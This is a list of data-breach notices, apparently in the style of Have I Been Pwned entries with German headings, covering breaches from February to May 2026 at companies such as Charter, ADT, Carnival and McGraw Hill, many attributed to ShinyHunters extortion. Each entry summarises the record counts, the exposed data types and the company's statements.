| Email addresses, Job titles, Names, Phone numbers, Physical addresses In May 2026, the telecommunications company Charter Communications (the parent company behind the consumer broadband and cable brand Spectrum) was named by the ShinyHunters group in a "pay or leak" extortion campaign. The group later published the data, which exposed 4.9M unique email addresses along with names, phone numbers and physical addresses. A subset of approximately 85k records originating from an internal employee directory also included job titles. Charter confirmed the incident, but stated that no sensitive personal information or customer proprietary network information (CPNI) was exfiltrated. |
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| 23.05.2026 - DentaQuest | 2.553.599 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Government issued IDs, Health insurance information, Names, Phone numbers, Physical addresses In May 2026, the dental benefits administrator DentaQuest was the target of a ShinyHunters "pay or leak" extortion campaign that resulted in the group publicly publishing hundreds of gigabytes of data allegedly obtained from the company. The data included 2.6M unique email addresses along with names, addresses and phone numbers. Much of the data appeared in healthcare enrollment files (ASC X12 transaction sets) with some containing Medicaid IDs, while additional data appeared in member records and related files. DentaQuest acknowledged "a cybersecurity incident involving unauthorized access to a limited portion of our network", and advised they had contained the attack and mitigated the threat. |
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| 05.05.2026 - Cushman & Wakefield | 310.431 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations In May 2026, the real estate services firm Cushman & Wakefield was the target of a "pay or leak" extortion campaign by the ShinyHunters group. Following the threat, the group publicly published data they alleged had been obtained from the firm, consisting mostly of C&W email addresses along with tens of thousands of external email addresses and corporate contact records. The exposed data was primarily business information, including names, job titles, company addresses and phone numbers. |
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| 30.04.2026 - Reborn Gaming | 126 Datensätze geleaked | |
| Email addresses, IP addresses In April 2026, the gaming community Reborn Gaming suffered a data breach due to a vulnerability in cPanel and WebHost Manager (WHM). The breach exposed 126 unique email addresses along with IP addresses and Steam IDs. Reborn Gaming self-submitted the data to Have I Been Pwned. |
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| 28.04.2026 - Vimeo | 119.167 Datensätze geleaked | |
| Email addresses, Names In April 2026, the ShinyHunters extortion group listed Vimeo on their extortion portal as part of their "pay or leak" campaign. They subsequently published hundreds of gigabytes of data, predominantly consisting of video titles, technical data and metadata. The data also included 119k unique email addresses, sometimes accompanied by names. Vimeo attributed the exposure to a breach of Anodot, a third-party analytics vendor, and advised the incident does not include "Vimeo video content, valid user login credentials, or payment card information". |
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| 26.04.2026 - CTT | 468.124 Datensätze geleaked | |
| Email addresses, Names, Phone numbers In April 2026, data allegedly obtained from CTT, Portugal's national postal service, was posted to a public hacking forum. The data included 468k unique email addresses along with names, phone numbers and parcel tracking numbers which can be used to retrieve the tracking history of the parcel. |
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| 24.04.2026 - Udemy | 1.401.259 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Payment methods, Phone numbers, Physical addresses In April 2026, online training company Udemy was the victim of a “pay or leak” extortion attempt perpetrated by the ShinyHunters group. The data was subsequently leaked publicly and contained 1.4M unique email addresses belonging to customers and instructors. The data also included names, physical addresses, phone numbers, employer information and instructor payout methods including PayPal, cheque and bank transfer. |
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| 20.04.2026 - ADT | 5.488.888 Datensätze geleaked | |
| Dates of birth, Email addresses, Names, Partial government issued IDs, Phone numbers, Physical addresses In April 2026, home security firm ADT confirmed a data breach by ShinyHunters, which listed the company on its website as part of a "pay or leak" extortion attempt. The breach impacted 5.5M unique email addresses along with names, phone numbers and physical addresses. ADT also advised that "in a small percentage of cases, dates of birth and the last four digits of Social Security numbers or Tax IDs were included" and that it had contacted all affected people. |
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| 20.04.2026 - Aman | 215.563 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Language preferences, Names, Nationalities, Phone numbers, Physical addresses, Spouses names, VIP statuses In April 2026, the ultra-luxury hotel brand Aman was named by ShinyHunters as the target of a "pay or leak" extortion campaign, with the data allegedly obtained from their Salesforce CRM. The data was subsequently leaked publicly and contained over 200k unique email addresses. Whilst not present on all records, the data also included genders, physical addresses, phone numbers, nationalities, dates of birth, spouse names and VIP status codes. |
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| 20.04.2026 - Canada Life | 237.810 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations, Support tickets In April 2026, Canada Life was the victim of a "pay or leak" extortion campaign by the ShinyHunters group. The group subsequently published the data which contained over 200k unique email addresses along with names, phone numbers, physical addresses and, in some cases, customer support tickets. In their disclosure notice, Canada Life advised that "it is a small proportion of our customers who may have been impacted". In the wake of the incident, Canada Life also published an alert cautioning customers to be wary of phishing attacks, a pattern often seen after the public release of breached data. |
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| 20.04.2026 - Pitney Bowes | 8.243.989 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In April 2026, the hacking collective ShinyHunters claimed to have obtained data from Pitney Bowes as part of a broader extortion campaign that also named several other organisations. After negotiations allegedly failed, the group publicly released the data which included 8.2M unique email addresses, along with names, phone numbers and physical addresses. A subset of the data also included Pitney Bowes employee records with job titles. |
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| 18.04.2026 - Carnival | 7.531.359 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Geographic locations, Loyalty program details, Names, Salutations In April 2026, the notorious hacking collective ShinyHunters claimed they had obtained a substantial volume of data belonging to the Carnival cruise operator and attempted to extort the organisation to prevent the data from being leaked. The following week, the group published the data publicly, which contained 8.7M records with 7.5M unique email addresses. The data contained fields indicating it related to the Mariner Society loyalty program run by Holland America, a cruise line brand under Carnival, and included names, dates of birth, genders and data relating to status within the loyalty program. Carnival acknowledged a phishing incident involving a single user account and advised they were working to better understand the scope of the unauthorised activity. |
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| 15.04.2026 - Kemper | 269.299 Datensätze geleaked | |
| Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases In April 2026, the American insurance holding company Kemper Corporation was named by the ShinyHunters ransomware group in a "pay or leak" extortion campaign. The attackers allegedly accessed Kemper's Salesforce environment via social engineering as part of a broader campaign targeting hundreds of organisations using the same method. The group later published tens of gigabytes of data they claimed included internal directory data, Salesforce records and Stripe payment logs. Among the 269k unique email addresses were names, phone numbers, physical addresses and partial payment card data including the last 4 digits, expiry dates and card brands. Kemper confirmed the incident and stated they had engaged third-party cybersecurity experts and notified law enforcement. |
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| 15.04.2026 - Zara | 197.376 Datensätze geleaked | |
| Email addresses, Geographic locations, Purchases, Support tickets In April 2026, the fashion brand Zara was among a number of organisations targeted by the ShinyHunters extortion group as part of their "pay or leak" campaign. The group claimed the breach was related to a compromise of the Anodot analytics platform and subsequently published a terabyte of data allegedly including 95M support ticket records. The data contained 197k unique email addresses alongside product SKUs, order IDs and the market the support ticket originated in. Zara's parent company Inditex advised that the incident didn't affect passwords or payment information. |
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| 14.04.2026 - Abrigo | 711.099 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses In April 2026, the fintech software company Abrigo was targeted in a "pay or leak" extortion attempt by the ShinyHunters group. Shortly after, data allegedly taken from the company's Salesforce instance was published publicly and contained over 700k unique email addresses belonging to both Abrigo staff and external contacts. Whilst separate from Abrigo's Salesforce compromise via the Drift application connector the previous year, the data fields described in that incident are consistent with the ShinyHunters data, namely that it was "business contact information" including "institution name, employee name, email addresses, and phone numbers". |
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| 12.04.2026 - Marcus & Millichap | 1.837.078 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses In April 2026, the commercial real estate brokerage firm Marcus & Millichap was named as one of multiple alleged victims of the ShinyHunters hacking and extortion group. Data alleged to have been obtained from the company was subsequently released publicly and included 1.8M unique email addresses, along with names, phone numbers and employment-related information including employer, job title and physical company address. In their disclosure notice, Marcus & Millichap advised that data which may have been accessed appeared limited to "company forms, templates, marketing materials, and general contact information". |
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| 12.04.2026 - Mytheresa | 84.108 Datensätze geleaked | |
| Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases, Salutations In April 2026, the luxury fashion e-commerce platform Mytheresa was listed as a victim of the ShinyHunters "pay or leak" extortion group. After the ransom deadline passed, the group publicly released the data which contained 84k unique email addresses. The exposed data also included names, phone numbers, physical addresses, purchases and partial credit card data including card type, last 4 digits and expiry date. |
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| 10.04.2026 - McGraw Hill | 13.500.136 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses In April 2026, education company McGraw Hill confirmed a data breach following an extortion attempt. Attributed to a Salesforce misconfiguration, the company stated the incident exposed "a limited set of data from a webpage hosted by Salesforce on its platform". More than 100GB of data was later publicly distributed, containing 13.5M unique email addresses across multiple files, with additional fields such as name, physical address and phone number appearing inconsistently across some records. |
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| 08.04.2026 - 7-Eleven | 185.256 Datensätze geleaked | |
| Dates of birth, Email addresses, Names, Phone numbers, Physical addresses In April 2026, 7-Eleven was the victim of a "pay or leak" extortion campaign by ShinyHunters, with the data later published that month. The incident exposed 185k unique email addresses, along with names, physical addresses, dates of birth and phone numbers. A small number of records also contained additional exposed data fields. The company later advised the breach was limited to "certain 7-Eleven systems used to store franchisee documents", a statement consistent with the exposed data. |
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| 07.04.2026 - My Lovely AI | 106.271 Datensätze geleaked | |
| Email addresses, Social media profiles In April 2026, the NSFW AI girlfriend platform My Lovely AI suffered a data breach that exposed over 100k users. The data included user-created prompts and links to the resulting AI-generated images, along with a small number of Discord and X usernames. |
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| 06.04.2026 - LegionProxy | 10.144 Datensätze geleaked | |
| Email addresses, Names, Passwords, Purchases In April 2026, the commercial residential and ISP proxy network LegionProxy suffered a data breach. The incident exposed 10k email addresses, bcrypt password hashes, names and purchases. |
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| 03.04.2026 - Amtrak | 2.147.679 Datensätze geleaked | |
| Email addresses, Names, Physical addresses, Support tickets In April 2026, the hacking group ShinyHunters claimed they had breached Amtrak. The group typically compromises organisations' Salesforce instances before demanding a ransom and later, if not paid, dumping the data publicly. They subsequently published the alleged data which contained over 2M unique email addresses along with names, physical addresses and customer support records. |
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| 02.04.2026 - SongTrivia2 | 291.739 Datensätze geleaked | |
| Auth tokens, Avatars, Email addresses, Names, Passwords, Usernames In April 2026, the music trivia platform SongTrivia2 suffered a data breach that was subsequently published to a public hacking forum. The data contained a total of 291k unique email addresses sourced from either Google OAuth logins or accounts created on the site, the latter also containing bcrypt password hashes. The data also included names, usernames and avatars. |
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| 31.03.2026 - Hallmark | 1.736.520 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses, Support tickets In March 2026, Hallmark suffered an alleged breach and subsequent extortion after attackers gained access to data stored within Salesforce. The data was later published after the extortion deadline passed, exposing 1.7M unique email addresses across both Hallmark and the Hallmark+ streaming service, along with names, phone numbers, physical addresses and support tickets. |
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| 27.03.2026 - ZenBusiness | 5.118.184 Datensätze geleaked | |
| Email addresses, Names, Phone numbers In March 2026, the hacker and extortion group "ShinyHunters" claimed to have obtained a substantial corpus of data from ZenBusiness, a business formation and compliance platform. The group claimed the data had been exfiltrated from platforms including Snowflake, Mixpanel and Salesforce, and threatened to publish it if a ransom was not paid. The following month, after claiming payment had not been made, ShinyHunters publicly released the data. The collection amounted to many terabytes across thousands of files that appeared to originate from multiple systems and business functions, including leads, support records and other CRM-related data. The data contained approximately 5M unique email addresses, often accompanied by name and phone number depending on the source file. |
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| 26.03.2026 - BreachForums Version 5 | 339.778 Datensätze geleaked | |
| Email addresses, Passwords, Usernames In March 2026, a breach of one of the many iterations of the BreachForums hacking forum known as "Version 5" was publicly disclosed. The incident exposed 340k unique email addresses along with usernames and argon2 password hashes. |
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| 25.03.2026 - Addi | 34.532.941 Datensätze geleaked | |
| Age groups, Credit scores, Device information, Email addresses, Government issued IDs, Income levels, IP addresses, Latitude and longitude pairs, Names, Phone numbers, Physical addresses, Purchases, Socioeconomic levels In March 2026, the Colombian fintech company Addi identified unauthorised activity on its platform and advised customers that "it is possible that your personal information may have been compromised". The "pay or leak" extortion group ShinyHunters subsequently claimed responsibility and published a large trove of personal data allegedly obtained from Addi. The data included 34M unique email addresses from credit scoring requests, credit bureau records, customer identity records and email validation logs. It also contained government issued IDs (Cédula de Ciudadanía), estimated income, socioeconomic levels, purchases and other credit-related data points. |
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| 25.03.2026 - Sound Radix | 292.993 Datensätze geleaked | |
| Email addresses, Names, Passwords In March 2026, the audio production tools company Sound Radix disclosed a data breach that they subsequently self-submitted to HIBP. The incident impacted 293k unique email addresses and names. Sound Radix advised that it is possible that additional data including hashed passwords may have been exposed, and that no financial or credit card information was impacted. |
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| 13.03.2026 - Divine Skins | 105.814 Datensätze geleaked | |
| Email addresses, Purchases, Usernames In March 2026, the League of Legends custom skins service Divine Skins suffered a data breach. The incident was disclosed via the service's Discord server, where Divine Skins stated that an unauthorised third party accessed part of its systems, deleted all skins from the database and exposed email addresses and usernames. The data also contained a history of purchases made by users. |
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| 12.03.2026 - Crunchyroll | 1.195.684 Datensätze geleaked | |
| Email addresses In March 2026, the anime streaming service Crunchyroll suffered a data breach alleged to have impacted 6.8M users. The exposed data is reported to have originated from the company's Zendesk support system where "name, login name, email address, IP address, general geographic location and the contents of the support tickets" were exposed. A subset of 1.2M email addresses from an alleged 2M record dataset being sold was later provided to HIBP. |
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| 08.03.2026 - Baydöner | 1.266.822 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Geographic locations, Government issued IDs, Names, Passwords, Phone numbers, Purchases In March 2026, the Turkish restaurant chain Baydöner suffered a data breach which was subsequently published to a public hacking forum. The incident exposed over 1.2M unique email addresses along with names, phone numbers, cities of residence and plaintext passwords. A small number of records also included Turkish national ID number and date of birth. In their disclosure notice, Baydöner stated that payment and financial data was not affected. |
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| 06.03.2026 - Aura | 903.080 Datensätze geleaked | |
| Customer service comments, Email addresses, IP addresses, Names, Phone numbers, Physical addresses In March 2026, the online safety service Aura disclosed a data breach that exposed 900k unique email addresses. The data was primarily associated with a marketing tool from a previously acquired company, with fewer than 20k active Aura customers affected. Exposed data included names, phone numbers, physical and IP addresses, and customer service notes. Aura advised that no Social Security numbers, passwords or financial information were compromised. |
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| 04.03.2026 - SUCCESS | 253.510 Datensätze geleaked | |
| Device information, Email addresses, IP addresses, Names, Passwords, Phone numbers, Physical addresses, Purchases In March 2026, the personal development and achievement media brand SUCCESS suffered a data breach. The incident exposed 250k unique email addresses along with names, IP addresses, phone numbers and, for a limited number of staff members, bcrypt password hashes. The data also included orders containing physical addresses and the payment method used. In SUCCESS' disclosure notice, they advised their system had also been abused to send offensive newsletters with quotes falsely attributed to contributors. |
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| 04.03.2026 - Woflow | 447.593 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses In March 2026, the AI-driven merchant data platform Woflow was named as a victim by the ShinyHunters data extortion group. The group subsequently published tens of thousands of files allegedly obtained from the company, comprising more than 2TB of data. The trove included hundreds of thousands of email addresses, names, phone numbers and physical addresses, with the data indicating it related to Woflow customers and, in turn, the customers of merchants using their platform. |
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| 02.03.2026 - Ameriprise | 502.597 Datensätze geleaked | |
| Email addresses, Employers, Financial transactions, Job titles, Names, Phone numbers, Physical addresses In March 2026, the financial services firm Ameriprise Financial was named by the ShinyHunters group in a "pay or leak" extortion campaign. The group claimed possession of more than 200GB of compressed data exfiltrated from Ameriprise's Salesforce environment and internal SharePoint infrastructure, and subsequently published the data after negotiations allegedly failed. The published data contained 500k unique email addresses as well as names, phone numbers, physical addresses and employer information. In their disclosure to state attorneys general, Ameriprise reported 47,876 affected people; the larger email address population represents contacts from Ameriprise's broader operational systems, including internal staff. Ameriprise further advised that they have "implemented heightened monitoring of your account(s) to include enhanced identity verification procedures". |
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| 25.02.2026 - KomikoAI | 1.060.191 Datensätze geleaked | |
| AI prompts, Email addresses, Forum posts, Names In February, the AI-powered comic generation platform KomikoAI suffered a data breach. The incident exposed 1M unique email addresses along with names, user posts and the AI prompts used to generate content. The exposed data enables the mapping of individual AI prompts to specific email addresses. |
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| 25.02.2026 - Lovora | 495.556 Datensätze geleaked | |
| Display names, Email addresses, Profile photos In February 2026, the couples and relationship app Lovora allegedly suffered a data breach that exposed 496k unique email addresses. The data also included users’ display names and profile photos, along with other personal information collected through use of the app. The app’s maker, Plantake, did not respond to multiple attempts to contact them about the incident. |
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| 17.02.2026 - Quitbro | 22.874 Datensätze geleaked | |
| Email addresses, Partial dates of birth, Usernames In February 2026, the porn addiction app Quitbro allegedly suffered a data breach that exposed 23k unique email addresses. The data also included users’ years of birth, responses to questions within the app and their last recorded relapse time. The app’s maker, Plantake, did not respond to multiple attempts to contact them about the incident. |
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| 14.02.2026 - CarGurus | 12.461.887 Datensätze geleaked | |
| Email addresses, IP addresses, Names, Phone numbers, Physical addresses In February 2026, the automotive marketplace CarGurus was the target of a data breach attributed to the threat actor ShinyHunters. Following an attempted extortion, the data was published publicly and contained more than 12M email addresses across multiple files including user account ID mappings, finance pre-qualification application data and dealer account and subscription information. Impacted data also included names, phone numbers, physical and IP addresses, and auto finance application outcomes. |
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